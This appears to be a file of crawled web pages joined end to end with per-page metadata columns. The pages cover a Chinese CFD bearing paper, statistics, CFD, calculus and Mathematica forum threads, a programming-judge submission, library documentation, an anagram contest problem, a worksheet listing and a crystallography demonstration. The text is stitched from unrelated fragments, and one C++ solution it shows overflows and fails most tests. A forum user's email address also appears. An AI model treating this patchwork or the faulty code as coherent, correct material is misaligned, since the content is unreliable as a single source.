Figure 4. Eccentricity (ε = 0.3) position distribution at 306˚
(a) (b) (c) (d)
Figure 5. The change of pressure, velocity and Maher number with time at the monitoring point at different throttle points at point-1
5. 结论
(a) (b) (c) (d)
Figure 6. The change of pressure, velocity, vorticity and Maher number at point 3 point at 306˚
1) 旋涡在空气静压轴承的节流腔中不断产生和脱落，在气膜间隙较大的位置漩涡强度较大，数量较小，在气膜厚度较小的位置，涡的数量较多，但强度较小。
2) 涡的产生和脱落都伴随着压力的波动，而速度的与压力的变化存在近似反比的关系。气膜厚度越大马赫数越大。
3) 越靠近节流孔的位置速度越大，马赫数也越大。
Dynamic Analysis of Radial Throttle Pinhole Hydrostatic Bearing Based on CFD[J]. 流体动力学, 2018, 06(04): 150-157. https://doi.org/10.12677/IJFD.2018.64019
1. 1. 冯慧成, 侯予, 陈汝刚, 等. 国内静压气体润滑技术研究进展[J]. 润滑与密封, 2011, 36(4): 108-113, 107.
2. 2. 贾晨辉, 杨伟, 邱明. 气体轴承的研究与发展[C]//中国轴承工业协会. 第七届中国轴承论坛论文集, 洛阳, 2014.
3. 3. 于贺春, 李欢欢, 胡居伟, 等. 单狭缝节流径向静压气体轴承的静态特性研究[J]. 液压与气动, 2015(6): 19-23.
4. 4. 黄首峰, 郭红, 张绍林, 等. 基于FLUENT的径向滑动轴承油膜压力仿真[J]. 机械设计与制造, 2012(10): 248-250.
5. 5. 胡俊宏, 迟青卓, 孙振鲁, 等. 基于FLUENT仿真的静压气浮轴承的研究[J]. 机床与液压, 2015, 43(4): 78-80.
6. 6. 孙雅洲, 卢泽生, 饶河清. 基于FLUENT软件的多孔质静压轴承静态特性的仿真与实验研究[J]. 机床与液压, 2007, 35(3): 170-172.
7. 7. 饶河清. 基于FLUENT软件的多孔质静压轴承的仿真与实验研究[D]: [硕士学位论文]. 哈尔滨: 哈尔滨工业大学, 2006.
8. 8. Renn, J.C. and Hsiao, C.H. (2004) Experimental and CFD Study on the Mass Flow-Rate Characteristic of Gas through Orifice-Type Restrictor in Aerostatic Bearings. Tribology International, 37, 309-315. https://doi.org/10.1016/j.triboint.2003.10.003
9. 9. Eleshaky, M.E. (2009) CFD Investigation of Pressure Depressions in Aero-static Circular Thrust Bearings. Tribology International, 42, 1108-1117. https://doi.org/10.1016/j.triboint.2009.03.011
10. 10. Gao, S.Y., et al. (2015) CFD Based Investigation on Influence of Orifice Chamber Shapes for the Design of Aerostatic Thrust Bearings at Ultra-High Speed Spindles. Tribology International, 92, 211-221. https://doi.org/10.1016/j.triboint.2015.06.020
11. 11. 李运堂, 蔺应晓, 朱红霞, 孙在. 基于大涡模拟静压气体推力轴承微幅自激振动特性分析[J]. 机械工程学报, 2013, 49(13): 56-62. | 1,740 | 4,251 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 4, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.921875 | 3 | CC-MAIN-2020-10 | latest | en | 0.756678 |
http://www.talkstats.com/showthread.php/6453-Help-interpreting-Goodness-of-Fit-tests-please | 1,369,488,618,000,000,000 | text/html | crawl-data/CC-MAIN-2013-20/segments/1368705955434/warc/CC-MAIN-20130516120555-00063-ip-10-60-113-184.ec2.internal.warc.gz | 748,878,948 | 11,009 | 1. Help interpreting Goodness of Fit tests please
Hi. I'm trying to figure out if I am able to run the t-test on my data, or if I am forced to run non-parametric tests.
If I run the chi-squared, or the kolomogrov-smirnov, or the anderson-darling etc, how do I interpet the data that spss is giving me. If I accept H0, does that mean that my data fit the distribution of the test? So if I accept H0, does that mean that my data have a shape consistent with the chi-squared for example? Do I have to run every test until I get an acceptance of H0, and then I am able to tell if my data are parametric or not?
Thank you.
2. Scratch that, I've done some tests on it, and apparently it fits an exponential curve pretty well (doing p-p or q-q plots). Also, if I natural log transform the data, it fits very well. However, as you might expect, it fits a normal distribution or t distribution terribly. My question is this, since the natural log makes it look pretty well, am I able to natural log transform it and then run the t-test on it? Because if I run non parametric tests on the data, they come back as insignificant, whereas a t-test shows it as being significant. I want it to be significant, but not at the expense of validity. I realize I lose power with non-parametric tests, so hopefully I would be falsely rejecting Ha.
Finally, I am running the t-test on a group that comes in 10's of percents - 0 (many) to 100 (few) -, and affects a certain dependent variable (lifespan). In SPSS, I select a cutoff point of 25%, that yields significant results...do I need to run a goodness of fit on the <=25% as well as the >25%, or am I able to run a goodness of fit on the whole thing?
Am I correct in assuming I don't need to run a goodness of fit on the dependent variable because it is irrelevant for the comparison of means test?
Pictured are examples of what I'm talking about.
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http://www.cfd-online.com/Forums/fluent/37919-help-relaxtion-factor-converge-taken-not.html | 1,475,319,421,000,000,000 | text/html | crawl-data/CC-MAIN-2016-40/segments/1474738662705.84/warc/CC-MAIN-20160924173742-00258-ip-10-143-35-109.ec2.internal.warc.gz | 384,015,568 | 14,543 | # HELP !In relaxtion factor converge is taken or not
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September 16, 2005, 04:52 HELP !In relaxtion factor converge is taken or not #1 MANOJ KUMAR Guest Posts: n/a hi i doing combustion problem. it converge but at the low solution parameter means relaxtaion factor.it taken or not. i started at low value like pressure,energy,tarbulent,and moment and going to default value but in some case like energy it converge at low value but other converge at default vale is this converge is taken or not. please help
September 16, 2005, 07:38 Re: HELP !In relaxtion factor converge is taken or #2 Manoj Kumar Guest Posts: n/a Hi You are able to reach convergence of residuals, isn't it? If so, then whats the problem? Regards, Manoj
September 17, 2005, 07:20 Re: HELP !In relaxtion factor converge is taken or #3 MANOJ KUMAR Guest Posts: n/a thanks for reply but convrge at lower than default value is it accept ? it converge but the flue gas temperature is so high. the temperature of combustion at nozzle is 3700 K and flue gas is 3500 K so it is accept as converge solution or not
September 18, 2005, 13:41 Re: HELP !In relaxtion factor converge is taken or #4 Manoj Kumar Guest Posts: n/a Yes. Convergence at lower than default value is acceptable. I would suggest you to go though fluent guide or any text to understand what under-relaxation is. As far as accuracy of your results are concerned, that is dependent on the flow model and other algorithms that u select , as well as on the grid size and parameters that you input. Manoj
September 20, 2005, 05:18 Re: HELP !In relaxtion factor converge is taken or #5 MANOJ KUMAR Guest Posts: n/a Thanks for reply Can u please give me ur e-mail so i can give detail description of my problem.
September 22, 2005, 04:16 Re: HELP !In relaxtion factor converge is taken or #6 Manoj Kumar Guest Posts: n/a U can mail me at manoj.me@gmail.com
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All times are GMT -4. The time now is 06:57. | 615 | 2,426 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2016-40 | latest | en | 0.900242 |
https://cses.fi/367/result/2979466/ | 1,652,900,657,000,000,000 | text/html | crawl-data/CC-MAIN-2022-21/segments/1652662522309.14/warc/CC-MAIN-20220518183254-20220518213254-00303.warc.gz | 232,099,111 | 4,218 | CSES - Datatähti 2022 alku - Results
Task: Tietoverkko (Network) Sender: MojoLake Submission time: 2021-10-11 13:22:22 Language: C++11 Status: READY Result: 10
Feedback
groupverdictscore
#1ACCEPTED10
#20
#30
Test results
testverdicttimegroup
#1ACCEPTED0.01 s1, 2, 3details
#20.01 s2, 3details
#30.23 s3details
### Code
```#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int edustaja[200001];
int koko[200001];
int id(int x){
while(edustaja[x] != x){
x = edustaja[x];
}
return x;
}
void liita(int a, int b){
a = id(a);
b = id(b);
if(koko[b] > koko[a])swap(a, b);
koko[a] += koko[b];
edustaja[b] = a;
}
int main(){
for(int i = 1; i <= 200000; ++i){
edustaja[i] = i;
koko[i] = 1;
}
int n; cin >> n;
vector<pair<int, pair<int, int>>> edge_list;
for(int i = 1; i < n; ++i){
int a, b, x;
cin >> a >> b >> x;
edge_list.push_back(make_pair(x, make_pair(a, b)));
}
sort(edge_list.rbegin(), edge_list.rend());
long long int ans = 0;
for(auto edge : edge_list){
int a = edge.second.first;
int b = edge.second.second;
int a_size = koko[id(a)];
int b_size = koko[id(b)];
ans = ans + a_size * b_size * edge.first;
liita(a, b);
}
cout << ans;
return 0;
}
```
### Test details
#### Test 1
Group: 1, 2, 3
Verdict: ACCEPTED
input
100
1 2 74
1 3 100
2 4 50
3 5 40
...
correct output
88687
user output
88687
Group: 2, 3
Verdict:
input
5000
1 2 613084013
1 3 832364259
2 4 411999902
3 5 989696303
...
correct output
1103702320243776
user output
1794100716608
#### Test 3
Group: 3
Verdict:
input
200000
1 2 613084013
1 3 832364259
2 4 411999902
3 5 989696303
...
correct output
1080549209850010931
user output
71708898778419 | 632 | 1,664 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2022-21 | latest | en | 0.15759 |
http://finmath.net/finmath-lib/apidocs/net/finmath/montecarlo/interestrate/TermStructureModel.html | 1,566,278,899,000,000,000 | text/html | crawl-data/CC-MAIN-2019-35/segments/1566027315222.56/warc/CC-MAIN-20190820045314-20190820071314-00317.warc.gz | 69,903,805 | 4,437 | finMath lib documentation
net.finmath.montecarlo.interestrate
## Interface TermStructureModel
• ### Method Summary
All Methods
Modifier and Type Method and Description
AnalyticModel getAnalyticModel()
Return the associated analytic model, a collection of market date object like discount curve, forward curve and volatility surfaces.
TermStructureModel getCloneWithModifiedData(Map<String,Object> dataModified)
Create a new object implementing TermStructureModel, using the new data.
DiscountCurve getDiscountCurve()
Return the discount curve associated the forwards.
default RandomVariable getForwardDiscountBond(double time, double maturity)
Returns the time $$t$$ forward bond derived from the numeraire, i.e., $$P(T;t) = E( \frac{N(t)}{N(T)} \vert \mathcal{F}_{t} )$$.
ForwardCurve getForwardRateCurve()
Return the initial forward rate curve.
RandomVariable getLIBOR(double time, double periodStart, double periodEnd)
Returns the time $$t$$ forward rate on the models forward curve.
• ### Methods inherited from interface net.finmath.montecarlo.model.ProcessModel
applyStateSpaceTransform, applyStateSpaceTransformInverse, getDrift, getFactorLoading, getInitialState, getNumberOfComponents, getNumberOfFactors, getNumeraire, getProcess, getRandomVariableForConstant, getReferenceDate, getTimeDiscretization, setProcess
• ### Method Detail
• #### getLIBOR
RandomVariable getLIBOR(double time,
double periodStart,
double periodEnd)
throws CalculationException
Returns the time $$t$$ forward rate on the models forward curve. Note: It is guaranteed that the random variable returned by this method is $$\mathcal{F}_{t} )$$-measurable.
Parameters:
time - The evaluation time.
periodStart - The period start of the forward rate.
periodEnd - The period end of the forward rate.
Returns:
The forward rate.
Throws:
CalculationException - Thrown if model fails to calculate the random variable.
• #### getForwardDiscountBond
default RandomVariable getForwardDiscountBond(double time,
double maturity)
throws CalculationException
Returns the time $$t$$ forward bond derived from the numeraire, i.e., $$P(T;t) = E( \frac{N(t)}{N(T)} \vert \mathcal{F}_{t} )$$. Note: It is guaranteed that the random variabble returned by this method is $$\mathcal{F}_{t} )$$-measurable.
Parameters:
time - The evaluation time.
maturity - The maturity.
Returns:
The forward bond P(T;t).
Throws:
CalculationException - Thrown if model fails to calculate the random variable.
• #### getAnalyticModel
AnalyticModel getAnalyticModel()
Return the associated analytic model, a collection of market date object like discount curve, forward curve and volatility surfaces.
Returns:
The associated analytic model.
• #### getDiscountCurve
DiscountCurve getDiscountCurve()
Return the discount curve associated the forwards.
Returns:
the discount curve associated the forwards.
• #### getForwardRateCurve
ForwardCurve getForwardRateCurve()
Return the initial forward rate curve.
Returns:
the forward rate curve
• #### getCloneWithModifiedData
TermStructureModel getCloneWithModifiedData(Map<String,Object> dataModified)
throws CalculationException
Create a new object implementing TermStructureModel, using the new data.
Specified by:
getCloneWithModifiedData in interface ProcessModel
Parameters:
dataModified - A map with values to be used in constructions (keys are identical to parameter names of the constructors).
Returns:
A new object implementing TermStructureModel, using the new data.
Throws:
CalculationException - Thrown if the valuation fails, specific cause may be available via the cause() method. | 800 | 3,585 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.53125 | 3 | CC-MAIN-2019-35 | latest | en | 0.470583 |
http://orac.amt.edu.au/cgi-bin/train/problem.pl?problemid=18 | 1,638,315,833,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964359082.76/warc/CC-MAIN-20211130232232-20211201022232-00066.warc.gz | 63,998,404 | 3,553 | # Problem: Anagram Solver
Want to try solving this problem? You can submit your code online if you log in or register.
## Anagram Solver
Input Files: anagin.txt, words.txt
Output File: anagout.txt
Time Limit: 1.5 seconds
As the Morality Observational Liaison Employee for your school, you have noticed that lately students have been passing more and more notes around class. It is your task to intercept these notes and ensure that they do not smack of subversive activity. There has been talk in the staff tea room of a student uprising within the school, and the teachers are in the grip of terror. You are on the case.
Recently, you have made a horrifying discovery. You saw two students looking at you and laughing on sports day, and so you quickly and efficiently plucked the following note out of their hands: "what an awful relay this". You ran your fingers through your new perm as you studied the seemingly innocent note, and then it hit you. They were using anagrams! Upon rearranging the last two words, the note read "what an awful hairstyle". You blushed, scrunched up the note and hid behind a tree as you contemplated this shocking new discovery.
There was only one solution. Every note in your possession had to be carefully tested for the use of anagrams. It would take far too long by hand, and you had never been good at English. So you sat down to write a computer program that would look for key words that might have been encrypted within the students' notes.
The program will read in a list of subversive words from the file words.txt and will read in fragments of notes from the file anagin.txt. You must test each note fragment to see if it is an anagram of any subversive word.
### Input
The list of subversive words (words.txt) will consist of a sequence of lines with one word on each line. All words will be at most 30 letters long, will contain no punctuation and will be entirely in lower case. This list will contain at most 650 words and will be terminated by a line containing a single # character. No two subversive words will be the same.
The input file (anagin.txt) will consist of a sequence of lines with one or more words on each line. Words on the same line will be separated by a single space. Each line will be no more than 80 characters long, will contain no punctuation and will be entirely in lower case. This list of lines will also be terminated by a line containing a single # character. There will be at most 200,000 lines.
### Output
For each line in the input file, a line of output must be produced containing a list of all subversive words which are anagrams of the entire line from the input file. These words must be separated by a single space, and may be output in any order on the line. If there is no such subversive word, the output line should be "```No anagram found```". Do not produce any output for the final #.
Note that each anagram found should use only one subversive word, and should use the entire line from the input file.
```the
quality
of
mercy
is
not
strained
#
```
### Sample anagin.txt 1
```cry me
a river
#
```
```mercy
No anagram found
```
```evil
uprising
vile
hairstyle
revolution
takeover
#
```
### Sample anagin.txt 2
```what an awful
relay this
live
sports
what an awful relay this
live this relay
#
```
### Sample Output 2
```No anagram found
hairstyle
evil vile
No anagram found
No anagram found
No anagram found
```
### Scoring
The score for each line of the input file will be determined as follows:
• If no anagram exists, a score of 100% will be given if the program determines that no anagram exists, and 0% otherwise.
• If n anagrams exist:
• If the program determines that no anagram exists, a score of 0% will be given.
• If the program produces m of these anagrams, as well as w words that are not actually anagrams, the score will be (m-w)/n x 100%, down to a minimum score of 0%.
In particular, if all possible anagrams are produced with nothing extraneous then the score will be 100%.
For instance, consider Sample Input 2 with the input line "`live`". There are n=2 anagrams of this line in words.txt. The output line
```evil vile uprising
```
would obtain a score of (2-1)/2 x 100% = 50%, and the output line
```vile
```
would obtain a score of (1-0)/2 x 100% = 50%.
Privacy statement
`Page generated: 1 December 2021, 10:43am AEDT` | 1,076 | 4,365 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.828125 | 3 | CC-MAIN-2021-49 | latest | en | 0.965734 |
https://www.physicsforums.com/threads/integration-velocity-to-displacement-or-position.172410/#post-1346804 | 1,632,442,992,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780057479.26/warc/CC-MAIN-20210923225758-20210924015758-00156.warc.gz | 974,141,479 | 15,304 | # Integration (Velocity to Displacement or Position)
#### Attachments
• Doc1.doc
16.5 KB · Views: 179
G01
Homework Helper
Gold Member
EDIT: I realize you may have work in your document, but I can't yet see it. So, if you have work in the document, ignore my lecture below:)
According to the forum rules, you must show some work to get help. What have you tried? Where are you stuck? Etc.?
This is the integration in LaTeX, if anyone else can't see it:
$v = \frac{e^{\frac{t - 1205.525}{-100}}-142000}{30}$
$s = \int v dt$
$s = \int \frac{e^{\frac{t - 1205.525}{-100}}-142000}{30} dt$
Do you know how to integrate exponential functions?
EDIT: I don't know what is up with the LaTeX, but there should be only one expression on each line. So ignore the bit after the second equals sign on the first line. And there shouldn't be an 's' after the fraction on the first line. No idea why it is doing this, there's nothing wrong with the code as I put it in.
Last edited:
G01
Homework Helper
Gold Member
First, I would sugest splitting the integral up into as many smaller integrals as possible. HINT:$$e^{a+b}=e^ae^b$$
Using this relationship, plus splitting the integral up, you should end up with two smaller, easier integrals of known forms.
Last edited:
i have already tried that... it didnt seem to work... could you show it in latex? so i can see what im doin wrong?
The 1/30 comes can "come out" of the integrand, right? And the subtraction (e to the blah minus 140000) just yields two integrals: Integral[e to the blah dt] minus Integral[142000 dt]. So that leaves the tricky part: Integral[e to the blah]. That exponent can be broken into two fairly simple expressions by going ahead and doing the division by -100... get it?
what i ended up with is
(e^-t/100)/(-30/100) x e^(-1205.525/-100)/t - 142000/30t
that is after integration... is that what you meant? | 513 | 1,879 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.59375 | 4 | CC-MAIN-2021-39 | latest | en | 0.93144 |
https://myteachinglibrary.com/product-category/by-subject/electives-by-subject/economics-electives-by-subject/?ref=98 | 1,675,336,516,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764500017.27/warc/CC-MAIN-20230202101933-20230202131933-00439.warc.gz | 430,398,831 | 66,826 | Showing all 6 results
• Sale!
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This consumer math bundle will teach students about both simple and compound interest and give them the practice they need to help them master solving word problems!
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• \$1.50
Students will complete a crossword puzzle by answering compound interest word problems. Also included, an optional number search puzzle which will provide an answer bank to use when completing the crossword puzzle! Answer Keys provided.
Sample problem: How much interest does a \$472 investment earn at 7% compounded annually over eight years?
• \$1.50
Students will complete a crossword puzzle by answering simple interest word problems. Also included, an optional number search puzzle which will provide an answer bank to use when completing the crossword puzzle! Answer Keys provided.
Sample problem: If you put \$5.62 in a saving account that pays 3% for eight years, what is the amount of money you will have at the end of the eight years?
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This consumer math resource has been designed to help teach students and give them the practice they need to master the concepts taught.
The first two pages will explain interest (simple and compound) and give students the formulas they will need to solve the word problems. There are 60 word problems in all. 3 sets of 10 simple interest problems and 3 sets of 10 compound interest problems. Answer keys are provided.
• \$9.99
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Complete Economics Curriculum for 7th-12th – Student Edition | 331 | 1,583 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.890625 | 3 | CC-MAIN-2023-06 | latest | en | 0.925739 |
http://www.physicsforums.com/showthread.php?t=316440 | 1,368,930,302,000,000,000 | text/html | crawl-data/CC-MAIN-2013-20/segments/1368696383156/warc/CC-MAIN-20130516092623-00060-ip-10-60-113-184.ec2.internal.warc.gz | 652,640,035 | 7,985 | Recognitions:
Gold Member
## [Mathematica 6.0+] Preserving order of variables
Is there a way to set Mathematica so that it preserves the order of variables.
i.e. I put:
F[x_] = A B x
F[a]
output : aAB
where I would want it: ABa
Thanks.
PhysOrg.com science news on PhysOrg.com >> Front-row seats to climate change>> Attacking MRSA with metals from antibacterial clays>> New formula invented for microscope viewing, substitutes for federally controlled drug
Blog Entries: 5 Recognitions: Homework Help Science Advisor I am having the same problem. The best solution I have found in general is using NonCommutativeMultiply: F[x_] := A ** B ** x although you usually have to define lots of other stuff to get everything working out as you want. In some cases (like where A and B are explicitly defined matrices) you can use matrix multiplication F[x_] := A . B . x or a function F[x_] := AB[x] Do you have anything specific in mind?
Recognitions: Gold Member I just have a long string of things that could either be matrices or vectors or scalars or tensors or etc. I'm trying to do some simplifications and then use the output. Its nothing special, I just need to preserve order. I'm not doing any REAL products (like inner, outer, contractions, etc) just representative products. If I define everything as matrices/vectors etc then it'll try to simplify it which i don't want. It needs to stay symbolic, yet perform basic distribution multiplication. I guess I'll try the noncommutative, that should work. Thanks!
Blog Entries: 5
Recognitions:
Homework Help
## [Mathematica 6.0+] Preserving order of variables
If you want distributivity, you probably want to define something like
Code:
ExpandNCM[x_] := x //. {
NonCommutativeMultiply[a__, b_ + c_, d__] :> a ** b ** d + a ** c ** d
}
So that, for example,
Code:
a ** (b + c) ** d // ExpandNCM
gives
Code:
a ** b ** d + a ** c ** d
.
By the way, you can also try
Code:
ClearAttributes[Times, Orderless]
but I don't think it's the best solution because the Orderless attribute gets re-set seemingly at random. | 516 | 2,069 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.34375 | 3 | CC-MAIN-2013-20 | longest | en | 0.903985 |
https://jeopardylabs.com/print/math-39921 | 1,576,480,269,000,000,000 | text/html | crawl-data/CC-MAIN-2019-51/segments/1575541318556.99/warc/CC-MAIN-20191216065654-20191216093654-00531.warc.gz | 413,581,275 | 7,994 | pre-school
kindergarten
what is 1+1
what is 4
what is 2+2
what is 4
what is 1-1
what is 0
what is 2-2
what is 0
what is 3+3
what is 6 | 66 | 143 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2019-51 | longest | en | 0.850519 |
https://pkg.go.dev/github.com/mattcary/microservices-demo/src/checkoutservice/money | 1,632,301,975,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780057337.81/warc/CC-MAIN-20210922072047-20210922102047-00543.warc.gz | 512,537,210 | 8,495 | # money
package
Version: v0.1.3 Latest Latest
Go to latest
Published: Dec 17, 2019 License: Apache-2.0
## Documentation ¶
### Constants ¶
This section is empty.
### Variables ¶
View Source
```var (
ErrInvalidValue = errors.New("one of the specified money values is invalid")
ErrMismatchingCurrency = errors.New("mismatching currency codes")
)```
### Functions ¶
#### func AreEquals ¶
`func AreEquals(l, r pb.Money) bool`
AreEquals returns true if values l and r are the equal, including the currency. This does not check validity of the provided values.
#### func AreSameCurrency ¶
`func AreSameCurrency(l, r pb.Money) bool`
AreSameCurrency returns true if values l and r have a currency code and they are the same values.
#### func IsNegative ¶
`func IsNegative(m pb.Money) bool`
IsNegative returns true if the specified money value is valid and is negative.
#### func IsPositive ¶
`func IsPositive(m pb.Money) bool`
IsPositive returns true if the specified money value is valid and is positive.
#### func IsValid ¶
`func IsValid(m pb.Money) bool`
IsValid checks if specified value has a valid units/nanos signs and ranges.
#### func IsZero ¶
`func IsZero(m pb.Money) bool`
IsZero returns true if the specified money value is equal to zero.
#### func MultiplySlow ¶
`func MultiplySlow(m pb.Money, n uint32) pb.Money`
MultiplySlow is a slow multiplication operation done through adding the value to itself n-1 times.
#### func Must ¶
`func Must(v pb.Money, err error) pb.Money`
Must panics if the given error is not nil. This can be used with other functions like: "m := Must(Sum(a,b))".
#### func Negate ¶
`func Negate(m pb.Money) pb.Money`
Negate returns the same amount with the sign negated.
#### func Sum ¶
`func Sum(l, r pb.Money) (pb.Money, error)`
Sum adds two values. Returns an error if one of the values are invalid or currency codes are not matching (unless currency code is unspecified for both).
### Types ¶
This section is empty. | 497 | 1,991 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2021-39 | latest | en | 0.407696 |
http://demonstrations.wolfram.com/The143DBravaisLattices/ | 1,516,136,463,000,000,000 | text/html | crawl-data/CC-MAIN-2018-05/segments/1516084886739.5/warc/CC-MAIN-20180116204303-20180116224303-00104.warc.gz | 87,616,496 | 12,114 | 11514
# The 14 3D Bravais Lattices
This Demonstration shows the characteristics of 3D Bravais lattices arranged according to seven crystal systems: cubic, tetragonal, orthorhombic, monoclinic, triclinic, rhombohedral and hexagonal. Each crystal system can be further associated with between one and four lattices by adding to the primitive cell (click "P"): a point in the center of the cell volume (click "I"), a point at the center of each face (click "F") or a point just at the center of the base faces (click "C"). The points located at the center/faces are highlighted in blue; each point is also a vertex or center of the cell/face, therefore each point is equivalent to every other point.
Crystal systems are determined by the relative lengths of the basis vectors , , and the angles between them [1].
It is possible to shift the cell by one unit along a basis vector by selecting the , , values. When repeated, this can generate the entire lattice.
### DETAILS
The Bravais lattice theory establishes that crystal structures can be generated starting from a primitive cell and translating along integer multiples of its basis vectors, in all directions.
Snapshot 1: This shows the primitive cubic system consisting of one lattice point at each corner of the cube. Each atom at a lattice point is then shared equally between eight adjacent cubes, and the unit cell therefore contains in total one atom . The crystal structure of pyrite is primitive cubic [2].
Snapshot 2: The face-centered cubic system has lattice points on the faces of the cube; each contributes exactly , in addition to the corner lattice points, giving a total of four lattice points per unit cell ( from the corners plus from the faces). The crystal structure of sodium chloride is face-centered cubic [2].
Snapshot 3: This shows the hexagonal system. Graphite is an example of the hexagonal crystal system [2].
References
[1] M. de Graef and M. E. McHenry, Structure of Materials: An Introduction to Crystallography, Diffraction and Symmetry, Cambridge: Cambridge University Press, 2007.
[2] W. B. Pearson, A Handbook of Lattice Spacings and Structures of Metals and Alloys, New York: Pergamon Press, 1958.
### PERMANENT CITATION
Share: Embed Interactive Demonstration New! Just copy and paste this snippet of JavaScript code into your website or blog to put the live Demonstration on your site. More details » Download Demonstration as CDF » Download Author Code »(preview ») Files require Wolfram CDF Player or Mathematica.
#### Related Topics
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The #1 tool for creating Demonstrations and anything technical. Explore anything with the first computational knowledge engine. The web's most extensive mathematics resource. An app for every course—right in the palm of your hand. Read our views on math,science, and technology. The format that makes Demonstrations (and any information) easy to share and interact with. Programs & resources for educators, schools & students. Join the initiative for modernizing math education. Walk through homework problems one step at a time, with hints to help along the way. Unlimited random practice problems and answers with built-in step-by-step solutions. Practice online or make a printable study sheet. Knowledge-based programming for everyone. | 709 | 3,294 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | 